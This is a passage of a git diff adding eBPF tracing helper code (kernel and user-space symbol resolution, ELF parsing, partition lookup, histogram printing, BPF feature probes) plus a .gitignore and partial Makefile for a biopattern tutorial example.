Nakryiko, add more helpers. +// 28-Feb-2020 Wenbo Zhang Created this. +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "trace_helpers.h" +#include "uprobe_helpers.h" + +#define min(x, y) ({ \ + typeof(x) _min1 = (x); \ + typeof(y) _min2 = (y); \ + (void) (&_min1 == &_min2); \ + _min1 < _min2 ? _min1 : _min2; }) + +#define DISK_NAME_LEN 32 + +#define MINORBITS 20 +#define MINORMASK ((1U << MINORBITS) - 1) + +#define MKDEV(ma, mi) (((ma) << MINORBITS) | (mi)) + +struct ksyms { + struct ksym *syms; + int syms_sz; + int syms_cap; + char *strs; + int strs_sz; + int strs_cap; +}; + +static int ksyms__add_symbol(struct ksyms *ksyms, const char *name, unsigned long addr) +{ + size_t new_cap, name_len = strlen(name) + 1; + struct ksym *ksym; + void *tmp; + + if (ksyms->strs_sz + name_len > ksyms->strs_cap) { + new_cap = ksyms->strs_cap * 4 / 3; + if (new_cap < ksyms->strs_sz + name_len) + new_cap = ksyms->strs_sz + name_len; + if (new_cap < 1024) + new_cap = 1024; + tmp = realloc(ksyms->strs, new_cap); + if (!tmp) + return -1; + ksyms->strs = tmp; + ksyms->strs_cap = new_cap; + } + if (ksyms->syms_sz + 1 > ksyms->syms_cap) { + new_cap = ksyms->syms_cap * 4 / 3; + if (new_cap < 1024) + new_cap = 1024; + tmp = realloc(ksyms->syms, sizeof(*ksyms->syms) * new_cap); + if (!tmp) + return -1; + ksyms->syms = tmp; + ksyms->syms_cap = new_cap; + } + + ksym = &ksyms->syms[ksyms->syms_sz]; + /* while constructing, re-use pointer as just a plain offset */ + ksym->name = (void *)(unsigned long)ksyms->strs_sz; + ksym->addr = addr; + + memcpy(ksyms->strs + ksyms->strs_sz, name, name_len); + ksyms->strs_sz += name_len; + ksyms->syms_sz++; + + return 0; +} + +static int ksym_cmp(const void *p1, const void *p2) +{ + const struct ksym *s1 = p1, *s2 = p2; + + if (s1->addr == s2->addr) + return strcmp(s1->name, s2->name); + return s1->addr < s2->addr ? -1 : 1; +} + +struct ksyms *ksyms__load(void) +{ + char sym_type, sym_name[256]; + struct ksyms *ksyms; + unsigned long sym_addr; + int i, ret; + FILE *f; + + f = fopen("/proc/kallsyms", "r"); + if (!f) + return NULL; + + ksyms = calloc(1, sizeof(*ksyms)); + if (!ksyms) + goto err_out; + + while (true) { + ret = fscanf(f, "%lx %c %s%*[^\n]\n", + &sym_addr, &sym_type, sym_name); + if (ret == EOF && feof(f)) + break; + if (ret != 3) + goto err_out; + if (ksyms__add_symbol(ksyms, sym_name, sym_addr)) + goto err_out; + } + + /* now when strings are finalized, adjust pointers properly */ + for (i = 0; i < ksyms->syms_sz; i++) + ksyms->syms[i].name += (unsigned long)ksyms->strs; + + qsort(ksyms->syms, ksyms->syms_sz, sizeof(*ksyms->syms), ksym_cmp); + + fclose(f); + return ksyms; + +err_out: + ksyms__free(ksyms); + fclose(f); + return NULL; +} + +void ksyms__free(struct ksyms *ksyms) +{ + if (!ksyms) + return; + + free(ksyms->syms); + free(ksyms->strs); + free(ksyms); +} + +const struct ksym *ksyms__map_addr(const struct ksyms *ksyms, + unsigned long addr) +{ + int start = 0, end = ksyms->syms_sz - 1, mid; + unsigned long sym_addr; + + /* find largest sym_addr <= addr using binary search */ + while (start < end) { + mid = start + (end - start + 1) / 2; + sym_addr = ksyms->syms[mid].addr; + + if (sym_addr <= addr) + start = mid; + else + end = mid - 1; + } + + if (start == end && ksyms->syms[start].addr <= addr) + return &ksyms->syms[start]; + return NULL; +} + +const struct ksym *ksyms__get_symbol(const struct ksyms *ksyms, + const char *name) +{ + int i; + + for (i = 0; i < ksyms->syms_sz; i++) { + if (strcmp(ksyms->syms[i].name, name) == 0) + return &ksyms->syms[i]; + } + + return NULL; +} + +struct load_range { + uint64_t start; + uint64_t end; + uint64_t file_off; +}; + +enum elf_type { + EXEC, + DYN, + PERF_MAP, + VDSO, + UNKNOWN, +}; + +struct dso { + char *name; + struct load_range *ranges; + int range_sz; + /* Dyn's first text section virtual addr at execution */ + uint64_t sh_addr; + /* Dyn's first text section file offset */ + uint64_t sh_offset; + enum elf_type type; + + struct sym *syms; + int syms_sz; + int syms_cap; + + /* + * libbpf's struct btf is actually a pretty efficient + * "set of strings" data structure, so we create an + * empty one and use it to store symbol names. + */ + struct btf *btf; +}; + +struct map { + uint64_t start_addr; + uint64_t end_addr; + uint64_t file_off; + uint64_t dev_major; + uint64_t dev_minor; + uint64_t inode; +}; + +struct syms { + struct dso *dsos; + int dso_sz; +}; + +static bool is_file_backed(const char *mapname) +{ +#define STARTS_WITH(mapname, prefix) \ + (!strncmp(mapname, prefix, sizeof(prefix) - 1)) + + return mapname[0] && !( + STARTS_WITH(mapname, "//anon") || + STARTS_WITH(mapname, "/dev/zero") || + STARTS_WITH(mapname, "/anon_hugepage") || + STARTS_WITH(mapname, "[stack") || + STARTS_WITH(mapname, "/SYSV") || + STARTS_WITH(mapname, "[heap]") || + STARTS_WITH(mapname, "[vsyscall]")); +} + +static bool is_perf_map(const char *path) +{ + return false; +} + +static bool is_vdso(const char *path) +{ + return !strcmp(path, "[vdso]"); +} + +static int get_elf_type(const char *path) +{ + GElf_Ehdr hdr; + void *res; + Elf *e; + int fd; + + if (is_vdso(path)) + return -1; + e = open_elf(path, &fd); + if (!e) + return -1; + res = gelf_getehdr(e, &hdr); + close_elf(e, fd); + if (!res) + return -1; + return hdr.e_type; +} + +static int get_elf_text_scn_info(const char *path, uint64_t *addr, + uint64_t *offset) +{ + Elf_Scn *section = NULL; + int fd = -1, err = -1; + GElf_Shdr header; + size_t stridx; + Elf *e = NULL; + char *name; + + e = open_elf(path, &fd); + if (!e) + goto err_out; + err = elf_getshdrstrndx(e, &stridx); + if (err < 0) + goto err_out; + + err = -1; + while ((section = elf_nextscn(e, section)) != 0) { + if (!gelf_getshdr(section, &header)) + continue; + + name = elf_strptr(e, stridx, header.sh_name); + if (name && !strcmp(name, ".text")) { + *addr = (uint64_t)header.sh_addr; + *offset = (uint64_t)header.sh_offset; + err = 0; + break; + } + } + +err_out: + close_elf(e, fd); + return err; +} + +static int syms__add_dso(struct syms *syms, struct map *map, const char *name) +{ + struct dso *dso = NULL; + int i, type; + void *tmp; + + for (i = 0; i < syms->dso_sz; i++) { + if (!strcmp(syms->dsos[i].name, name)) { + dso = &syms->dsos[i]; + break; + } + } + + if (!dso) { + tmp = realloc(syms->dsos, (syms->dso_sz + 1) * + sizeof(*syms->dsos)); + if (!tmp) + return -1; + syms->dsos = tmp; + dso = &syms->dsos[syms->dso_sz++]; + memset(dso, 0, sizeof(*dso)); + dso->name = strdup(name); + dso->btf = btf__new_empty(); + } + + tmp = realloc(dso->ranges, (dso->range_sz + 1) * sizeof(*dso->ranges)); + if (!tmp) + return -1; + dso->ranges = tmp; + dso->ranges[dso->range_sz].start = map->start_addr; + dso->ranges[dso->range_sz].end = map->end_addr; + dso->ranges[dso->range_sz].file_off = map->file_off; + dso->range_sz++; + type = get_elf_type(name); + if (type == ET_EXEC) { + dso->type = EXEC; + } else if (type == ET_DYN) { + dso->type = DYN; + if (get_elf_text_scn_info(name, &dso->sh_addr, &dso->sh_offset) < 0) + return -1; + } else if (is_perf_map(name)) { + dso->type = PERF_MAP; + } else if (is_vdso(name)) { + dso->type = VDSO; + } else { + dso->type = UNKNOWN; + } + return 0; +} + +static struct dso *syms__find_dso(const struct syms *syms, unsigned long addr, + uint64_t *offset) +{ + struct load_range *range; + struct dso *dso; + int i, j; + + for (i = 0; i < syms->dso_sz; i++) { + dso = &syms->dsos[i]; + for (j = 0; j < dso->range_sz; j++) { + range = &dso->ranges[j]; + if (addr <= range->start || addr >= range->end) + continue; + if (dso->type == DYN || dso->type == VDSO) { + /* Offset within the mmap */ + *offset = addr - range->start + range->file_off; + /* Offset within the ELF for dyn symbol lookup */ + *offset += dso->sh_addr - dso->sh_offset; + } else { + *offset = addr; + } + + return dso; + } + } + + return NULL; +} + +static int dso__load_sym_table_from_perf_map(struct dso *dso) +{ + return -1; +} + +static int dso__add_sym(struct dso *dso, const char *name, uint64_t start, + uint64_t size) +{ + struct sym *sym; + size_t new_cap; + void *tmp; + int off; + + off = btf__add_str(dso->btf, name); + if (off < 0) + return off; + + if (dso->syms_sz + 1 > dso->syms_cap) { + new_cap = dso->syms_cap * 4 / 3; + if (new_cap < 1024) + new_cap = 1024; + tmp = realloc(dso->syms, sizeof(*dso->syms) * new_cap); + if (!tmp) + return -1; + dso->syms = tmp; + dso->syms_cap = new_cap; + } + + sym = &dso->syms[dso->syms_sz++]; + /* while constructing, re-use pointer as just a plain offset */ + sym->name = (void*)(unsigned long)off; + sym->start = start; + sym->size = size; + sym->offset = 0; + + return 0; +} + +static int sym_cmp(const void *p1, const void *p2) +{ + const struct sym *s1 = p1, *s2 = p2; + + if (s1->start == s2->start) + return strcmp(s1->name, s2->name); + return s1->start < s2->start ? -1 : 1; +} + +static int dso__add_syms(struct dso *dso, Elf *e, Elf_Scn *section, + size_t stridx, size_t symsize) +{ + Elf_Data *data = NULL; + + while ((data = elf_getdata(section, data)) != 0) { + size_t i, symcount = data->d_size / symsize; + + if (data->d_size % symsize) + return -1; + + for (i = 0; i < symcount; ++i) { + const char *name; + GElf_Sym sym; + + if (!gelf_getsym(data, (int)i, &sym)) + continue; + if (!(name = elf_strptr(e, stridx, sym.st_name))) + continue; + if (name[0] == '\0') + continue; + + if (sym.st_value == 0) + continue; + + if (dso__add_sym(dso, name, sym.st_value, sym.st_size)) + goto err_out; + } + } + + return 0; + +err_out: + return -1; +} + +static void dso__free_fields(struct dso *dso) +{ + if (!dso) + return; + + free(dso->name); + free(dso->ranges); + free(dso->syms); + btf__free(dso->btf); +} + +static int dso__load_sym_table_from_elf(struct dso *dso, int fd) +{ + Elf_Scn *section = NULL; + Elf *e; + int i; + + e = fd > 0 ? open_elf_by_fd(fd) : open_elf(dso->name, &fd); + if (!e) + return -1; + + while ((section = elf_nextscn(e, section)) != 0) { + GElf_Shdr header; + + if (!gelf_getshdr(section, &header)) + continue; + + if (header.sh_type != SHT_SYMTAB && + header.sh_type != SHT_DYNSYM) + continue; + + if (dso__add_syms(dso, e, section, header.sh_link, + header.sh_entsize)) + goto err_out; + } + + /* now when strings are finalized, adjust pointers properly */ + for (i = 0; i < dso->syms_sz; i++) + dso->syms[i].name = + btf__name_by_offset(dso->btf, + (unsigned long)dso->syms[i].name); + + qsort(dso->syms, dso->syms_sz, sizeof(*dso->syms), sym_cmp); + + close_elf(e, fd); + return 0; + +err_out: + dso__free_fields(dso); + close_elf(e, fd); + return -1; +} + +static int create_tmp_vdso_image(struct dso *dso) +{ + uint64_t start_addr, end_addr; + long pid = getpid(); + char buf[PATH_MAX]; + void *image = NULL; + char tmpfile[128]; + int ret, fd = -1; + uint64_t sz; + char *name; + FILE *f; + + snprintf(tmpfile, sizeof(tmpfile), "/proc/%ld/maps", pid); + f = fopen(tmpfile, "r"); + if (!f) + return -1; + + while (true) { + ret = fscanf(f, "%lx-%lx %*s %*x %*x:%*x %*u%[^\n]", + &start_addr, &end_addr, buf); + if (ret == EOF && feof(f)) + break; + if (ret != 3) + goto err_out; + + name = buf; + while (isspace(*name)) + name++; + if (!is_file_backed(name)) + continue; + if (is_vdso(name)) + break; + } + + sz = end_addr - start_addr; + image = malloc(sz); + if (!image) + goto err_out; + memcpy(image, (void *)start_addr, sz); + + snprintf(tmpfile, sizeof(tmpfile), + "/tmp/libbpf_%ld_vdso_image_XXXXXX", pid); + fd = mkostemp(tmpfile, O_CLOEXEC); + if (fd < 0) { + fprintf(stderr, "failed to create temp file: %s\n", + strerror(errno)); + goto err_out; + } + /* Unlink the file to avoid leaking */ + if (unlink(tmpfile) == -1) + fprintf(stderr, "failed to unlink %s: %s\n", tmpfile, + strerror(errno)); + if (write(fd, image, sz) == -1) { + fprintf(stderr, "failed to write to vDSO image: %s\n", + strerror(errno)); + close(fd); + fd = -1; + goto err_out; + } + +err_out: + fclose(f); + free(image); + return fd; +} + +static int dso__load_sym_table_from_vdso_image(struct dso *dso) +{ + int fd = create_tmp_vdso_image(dso); + + if (fd < 0) + return -1; + return dso__load_sym_table_from_elf(dso, fd); +} + +static int dso__load_sym_table(struct dso *dso) +{ + if (dso->type == UNKNOWN) + return -1; + if (dso->type == PERF_MAP) + return dso__load_sym_table_from_perf_map(dso); + if (dso->type == EXEC || dso->type == DYN) + return dso__load_sym_table_from_elf(dso, 0); + if (dso->type == VDSO) + return dso__load_sym_table_from_vdso_image(dso); + return -1; +} + +static struct sym *dso__find_sym(struct dso *dso, uint64_t offset) +{ + unsigned long sym_addr; + int start, end, mid; + + if (!dso->syms && dso__load_sym_table(dso)) + return NULL; + + start = 0; + end = dso->syms_sz - 1; + + /* find largest sym_addr <= addr using binary search */ + while (start < end) { + mid = start + (end - start + 1) / 2; + sym_addr = dso->syms[mid].start; + + if (sym_addr <= offset) + start = mid; + else + end = mid - 1; + } + + if (start == end && dso->syms[start].start <= offset) { + (dso->syms[start]).offset = offset - dso->syms[start].start; + return &dso->syms[start]; + } + return NULL; +} + +struct syms *syms__load_file(const char *fname) +{ + char buf[PATH_MAX], perm[5]; + struct syms *syms; + struct map map; + char *name; + FILE *f; + int ret; + + f = fopen(fname, "r"); + if (!f) + return NULL; + + syms = calloc(1, sizeof(*syms)); + if (!syms) + goto err_out; + + while (true) { + ret = fscanf(f, "%lx-%lx %4s %lx %lx:%lx %lu%[^\n]", + &map.start_addr, &map.end_addr, perm, + &map.file_off, &map.dev_major, + &map.dev_minor, &map.inode, buf); + if (ret == EOF && feof(f)) + break; + if (ret != 8) /* perf-.map */ + goto err_out; + + if (perm[2] != 'x') + continue; + + name = buf; + while (isspace(*name)) + name++; + if (!is_file_backed(name)) + continue; + + if (syms__add_dso(syms, &map, name)) + goto err_out; + } + + fclose(f); + return syms; + +err_out: + syms__free(syms); + fclose(f); + return NULL; +} + +struct syms *syms__load_pid(pid_t tgid) +{ + char fname[128]; + + snprintf(fname, sizeof(fname), "/proc/%ld/maps", (long)tgid); + return syms__load_file(fname); +} + +void syms__free(struct syms *syms) +{ + int i; + + if (!syms) + return; + + for (i = 0; i < syms->dso_sz; i++) + dso__free_fields(&syms->dsos[i]); + free(syms->dsos); + free(syms); +} + +const struct sym *syms__map_addr(const struct syms *syms, unsigned long addr) +{ + struct dso *dso; + uint64_t offset; + + dso = syms__find_dso(syms, addr, &offset); + if (!dso) + return NULL; + return dso__find_sym(dso, offset); +} + +const struct sym *syms__map_addr_dso(const struct syms *syms, unsigned long addr, + char **dso_name, unsigned long *dso_offset) +{ + struct dso *dso; + uint64_t offset; + + dso = syms__find_dso(syms, addr, &offset); + if (!dso) + return NULL; + + *dso_name = dso->name; + *dso_offset = offset; + + return dso__find_sym(dso, offset); +} + +struct syms_cache { + struct { + struct syms *syms; + int tgid; + } *data; + int nr; +}; + +struct syms_cache *syms_cache__new(int nr) +{ + struct syms_cache *syms_cache; + + syms_cache = calloc(1, sizeof(*syms_cache)); + if (!syms_cache) + return NULL; + if (nr > 0) + syms_cache->data = calloc(nr, sizeof(*syms_cache->data)); + return syms_cache; +} + +void syms_cache__free(struct syms_cache *syms_cache) +{ + int i; + + if (!syms_cache) + return; + + for (i = 0; i < syms_cache->nr; i++) + syms__free(syms_cache->data[i].syms); + free(syms_cache->data); + free(syms_cache); +} + +struct syms *syms_cache__get_syms(struct syms_cache *syms_cache, int tgid) +{ + void *tmp; + int i; + + for (i = 0; i < syms_cache->nr; i++) { + if (syms_cache->data[i].tgid == tgid) + return syms_cache->data[i].syms; + } + + tmp = realloc(syms_cache->data, (syms_cache->nr + 1) * + sizeof(*syms_cache->data)); + if (!tmp) + return NULL; + syms_cache->data = tmp; + syms_cache->data[syms_cache->nr].syms = syms__load_pid(tgid); + syms_cache->data[syms_cache->nr].tgid = tgid; + return syms_cache->data[syms_cache->nr++].syms; +} + +struct partitions { + struct partition *items; + int sz; +}; + +static int partitions__add_partition(struct partitions *partitions, + const char *name, unsigned int dev) +{ + struct partition *partition; + void *tmp; + + tmp = realloc(partitions->items, (partitions->sz + 1) * + sizeof(*partitions->items)); + if (!tmp) + return -1; + partitions->items = tmp; + partition = &partitions->items[partitions->sz]; + partition->name = strdup(name); + partition->dev = dev; + partitions->sz++; + + return 0; +} + +struct partitions *partitions__load(void) +{ + char part_name[DISK_NAME_LEN]; + unsigned int devmaj, devmin; + unsigned long long nop; + struct partitions *partitions; + char buf[64]; + FILE *f; + + f = fopen("/proc/partitions", "r"); + if (!f) + return NULL; + + partitions = calloc(1, sizeof(*partitions)); + if (!partitions) + goto err_out; + + while (fgets(buf, sizeof(buf), f) != NULL) { + /* skip heading */ + if (buf[0] != ' ' || buf[0] == '\n') + continue; + if (sscanf(buf, "%u %u %llu %s", &devmaj, &devmin, &nop, + part_name) != 4) + goto err_out; + if (partitions__add_partition(partitions, part_name, + MKDEV(devmaj, devmin))) + goto err_out; + } + + fclose(f); + return partitions; + +err_out: + partitions__free(partitions); + fclose(f); + return NULL; +} + +void partitions__free(struct partitions *partitions) +{ + int i; + + if (!partitions) + return; + + for (i = 0; i < partitions->sz; i++) + free(partitions->items[i].name); + free(partitions->items); + free(partitions); +} + +const struct partition * +partitions__get_by_dev(const struct partitions *partitions, unsigned int dev) +{ + int i; + + for (i = 0; i < partitions->sz; i++) { + if (partitions->items[i].dev == dev) + return &partitions->items[i]; + } + + return NULL; +} + +const struct partition * +partitions__get_by_name(const struct partitions *partitions, const char *name) +{ + int i; + + for (i = 0; i < partitions->sz; i++) { + if (strcmp(partitions->items[i].name, name) == 0) + return &partitions->items[i]; + } + + return NULL; +} + +static void print_stars(unsigned int val, unsigned int val_max, int width) +{ + int num_stars, num_spaces, i; + bool need_plus; + + num_stars = min(val, val_max) * width / val_max; + num_spaces = width - num_stars; + need_plus = val > val_max; + + for (i = 0; i < num_stars; i++) + printf("*"); + for (i = 0; i < num_spaces; i++) + printf(" "); + if (need_plus) + printf("+"); +} + +void print_log2_hist(unsigned int *vals, int vals_size, const char *val_type) +{ + int stars_max = 40, idx_max = -1; + unsigned int val, val_max = 0; + unsigned long long low, high; + int stars, width, i; + + for (i = 0; i < vals_size; i++) { + val = vals[i]; + if (val > 0) + idx_max = i; + if (val > val_max) + val_max = val; + } + + if (idx_max < 0) + return; + + printf("%*s%-*s : count distribution\n", idx_max <= 32 ? 5 : 15, "", + idx_max <= 32 ? 19 : 29, val_type); + + if (idx_max <= 32) + stars = stars_max; + else + stars = stars_max / 2; + + for (i = 0; i <= idx_max; i++) { + low = (1ULL << (i + 1)) >> 1; + high = (1ULL << (i + 1)) - 1; + if (low == high) + low -= 1; + val = vals[i]; + width = idx_max <= 32 ? 10 : 20; + printf("%*lld -> %-*lld : %-8d |", width, low, width, high, val); + print_stars(val, val_max, stars); + printf("|\n"); + } +} + +void print_linear_hist(unsigned int *vals, int vals_size, unsigned int base, + unsigned int step, const char *val_type) +{ + int i, stars_max = 40, idx_min = -1, idx_max = -1; + unsigned int val, val_max = 0; + + for (i = 0; i < vals_size; i++) { + val = vals[i]; + if (val > 0) { + idx_max = i; + if (idx_min < 0) + idx_min = i; + } + if (val > val_max) + val_max = val; + } + + if (idx_max < 0) + return; + + printf(" %-13s : count distribution\n", val_type); + for (i = idx_min; i <= idx_max; i++) { + val = vals[i]; + if (!val) + continue; + printf(" %-10d : %-8d |", base + i * step, val); + print_stars(val, val_max, stars_max); + printf("|\n"); + } +} + +unsigned long long get_ktime_ns(void) +{ + struct timespec ts; + + clock_gettime(CLOCK_MONOTONIC, &ts); + return ts.tv_sec * NSEC_PER_SEC + ts.tv_nsec; +} + +bool is_kernel_module(const char *name) +{ + bool found = false; + char buf[64]; + FILE *f; + + f = fopen("/proc/modules", "r"); + if (!f) + return false; + + while (fgets(buf, sizeof(buf), f) != NULL) { + if (sscanf(buf, "%s %*s\n", buf) != 1) + break; + if (!strcmp(buf, name)) { + found = true; + break; + } + } + + fclose(f); + return found; +} + +static bool fentry_try_attach(int id) +{ + int prog_fd, attach_fd; + char error[4096]; + struct bpf_insn insns[] = { + { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 }, + { .code = BPF_JMP | BPF_EXIT }, + }; + LIBBPF_OPTS(bpf_prog_load_opts, opts, + .expected_attach_type = BPF_TRACE_FENTRY, + .attach_btf_id = id, + .log_buf = error, + .log_size = sizeof(error), + ); + + prog_fd = bpf_prog_load(BPF_PROG_TYPE_TRACING, "test", "GPL", insns, + sizeof(insns) / sizeof(struct bpf_insn), &opts); + if (prog_fd < 0) + return false; + + attach_fd = bpf_raw_tracepoint_open(NULL, prog_fd); + if (attach_fd >= 0) + close(attach_fd); + + close(prog_fd); + return attach_fd >= 0; +} + +bool fentry_can_attach(const char *name, const char *mod) +{ + struct btf *btf, *vmlinux_btf, *module_btf = NULL; + int err, id; + + vmlinux_btf = btf__load_vmlinux_btf(); + err = libbpf_get_error(vmlinux_btf); + if (err) + return false; + + btf = vmlinux_btf; + + if (mod) { + module_btf = btf__load_module_btf(mod, vmlinux_btf); + err = libbpf_get_error(module_btf); + if (!err) + btf = module_btf; + } + + id = btf__find_by_name_kind(btf, name, BTF_KIND_FUNC); + + btf__free(module_btf); + btf__free(vmlinux_btf); + return id > 0 && fentry_try_attach(id); +} + +bool kprobe_exists(const char *name) +{ + char addr_range[256]; + char sym_name[256]; + FILE *f; + int ret; + + f = fopen("/sys/kernel/debug/kprobes/blacklist", "r"); + if (!f) + goto avail_filter; + + while (true) { + ret = fscanf(f, "%s %s%*[^\n]\n", addr_range, sym_name); + if (ret == EOF && feof(f)) + break; + if (ret != 2) { + fprintf(stderr, "failed to read symbol from kprobe blacklist\n"); + break; + } + if (!strcmp(name, sym_name)) { + fclose(f); + return false; + } + } + fclose(f); + +avail_filter: + f = fopen("/sys/kernel/debug/tracing/available_filter_functions", "r"); + if (!f) + goto slow_path; + + while (true) { + ret = fscanf(f, "%s%*[^\n]\n", sym_name); + if (ret == EOF && feof(f)) + break; + if (ret != 1) { + fprintf(stderr, "failed to read symbol from available_filter_functions\n"); + break; + } + if (!strcmp(name, sym_name)) { + fclose(f); + return true; + } + } + + fclose(f); + return false; + +slow_path: + f = fopen("/proc/kallsyms", "r"); + if (!f) + return false; + + while (true) { + ret = fscanf(f, "%*x %*c %s%*[^\n]\n", sym_name); + if (ret == EOF && feof(f)) + break; + if (ret != 1) { + fprintf(stderr, "failed to read symbol from kallsyms\n"); + break; + } + if (!strcmp(name, sym_name)) { + fclose(f); + return true; + } + } + + fclose(f); + return false; +} + +bool tracepoint_exists(const char *category, const char *event) +{ + char path[PATH_MAX]; + + snprintf(path, sizeof(path), "/sys/kernel/debug/tracing/events/%s/%s/format", category, event); + if (!access(path, F_OK)) + return true; + return false; +} + +bool vmlinux_btf_exists(void) +{ + struct btf *btf; + int err; + + btf = btf__load_vmlinux_btf(); + err = libbpf_get_error(btf); + if (err) + return false; + + btf__free(btf); + return true; +} + +bool module_btf_exists(const char *mod) +{ + char sysfs_mod[80]; + + if (mod) { + snprintf(sysfs_mod, sizeof(sysfs_mod), "/sys/kernel/btf/%s", mod); + if (!access(sysfs_mod, R_OK)) + return true; + } + return false; +} + +bool probe_tp_btf(const char *name) +{ + LIBBPF_OPTS(bpf_prog_load_opts, opts, .expected_attach_type = BPF_TRACE_RAW_TP); + struct bpf_insn insns[] = { + { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 }, + { .code = BPF_JMP | BPF_EXIT }, + }; + int fd, insn_cnt = sizeof(insns) / sizeof(struct bpf_insn); + + opts.attach_btf_id = libbpf_find_vmlinux_btf_id(name, BPF_TRACE_RAW_TP); + fd = bpf_prog_load(BPF_PROG_TYPE_TRACING, NULL, "GPL", insns, insn_cnt, &opts); + if (fd >= 0) + close(fd); + return fd >= 0; +} + +bool probe_ringbuf() +{ + int map_fd; + + map_fd = bpf_map_create(BPF_MAP_TYPE_RINGBUF, NULL, 0, 0, getpagesize(), NULL); + if (map_fd < 0) + return false; + + close(map_fd); + return true; +} diff --git a/16-memleak/trace_helpers.h b/16-memleak/trace_helpers.h new file mode 100644 index 0000000..171bc4e --- /dev/null +++ b/16-memleak/trace_helpers.h @@ -0,0 +1,104 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __TRACE_HELPERS_H +#define __TRACE_HELPERS_H + +#include + +#define NSEC_PER_SEC 1000000000ULL + +struct ksym { + const char *name; + unsigned long addr; +}; + +struct ksyms; + +struct ksyms *ksyms__load(void); +void ksyms__free(struct ksyms *ksyms); +const struct ksym *ksyms__map_addr(const struct ksyms *ksyms, + unsigned long addr); +const struct ksym *ksyms__get_symbol(const struct ksyms *ksyms, + const char *name); + +struct sym { + const char *name; + unsigned long start; + unsigned long size; + unsigned long offset; +}; + +struct syms; + +struct syms *syms__load_pid(int tgid); +struct syms *syms__load_file(const char *fname); +void syms__free(struct syms *syms); +const struct sym *syms__map_addr(const struct syms *syms, unsigned long addr); +const struct sym *syms__map_addr_dso(const struct syms *syms, unsigned long addr, + char **dso_name, unsigned long *dso_offset); + +struct syms_cache; + +struct syms_cache *syms_cache__new(int nr); +struct syms *syms_cache__get_syms(struct syms_cache *syms_cache, int tgid); +void syms_cache__free(struct syms_cache *syms_cache); + +struct partition { + char *name; + unsigned int dev; +}; + +struct partitions; + +struct partitions *partitions__load(void); +void partitions__free(struct partitions *partitions); +const struct partition * +partitions__get_by_dev(const struct partitions *partitions, unsigned int dev); +const struct partition * +partitions__get_by_name(const struct partitions *partitions, const char *name); + +void print_log2_hist(unsigned int *vals, int vals_size, const char *val_type); +void print_linear_hist(unsigned int *vals, int vals_size, unsigned int base, + unsigned int step, const char *val_type); + +unsigned long long get_ktime_ns(void); + +bool is_kernel_module(const char *name); + +/* + * When attempting to use kprobe/kretprobe, please check out new fentry/fexit + * probes, as they provide better performance and usability. But in some + * situations we have to fallback to kprobe/kretprobe probes. This helper + * is used to detect fentry/fexit support for the specified kernel function. + * + * 1. A gap between kernel versions, kernel BTF is exposed + * starting from 5.4 kernel. but fentry/fexit is actually + * supported starting from 5.5. + * 2. Whether kernel supports module BTF or not + * + * *name* is the name of a kernel function to be attached to, which can be + * from vmlinux or a kernel module. + * *mod* is a hint that indicates the *name* may reside in module BTF, + * if NULL, it means *name* belongs to vmlinux. + */ +bool fentry_can_attach(const char *name, const char *mod); + +/* + * The name of a kernel function to be attached to may be changed between + * kernel releases. This helper is used to confirm whether the target kernel + * uses a certain function name before attaching. + * + * It is achieved by scaning + * /sys/kernel/debug/tracing/available_filter_functions + * If this file does not exist, it fallbacks to parse /proc/kallsyms, + * which is slower. + */ +bool kprobe_exists(const char *name); +bool tracepoint_exists(const char *category, const char *event); + +bool vmlinux_btf_exists(void); +bool module_btf_exists(const char *mod); + +bool probe_tp_btf(const char *name); +bool probe_ringbuf(); + +#endif /* __TRACE_HELPERS_H */ diff --git a/17-biopattern/.gitignore b/17-biopattern/.gitignore new file mode 100644 index 0000000..f79e42b --- /dev/null +++ b/17-biopattern/.gitignore @@ -0,0 +1,8 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +biopattern diff --git a/17-biopattern/Makefile b/17-biopattern/Makefile new file mode 100644 index 0000000..9171a00 --- /dev/null +++ b/17-biopattern/Makefile @@ -0,0 +1,145 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = biopattern # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q 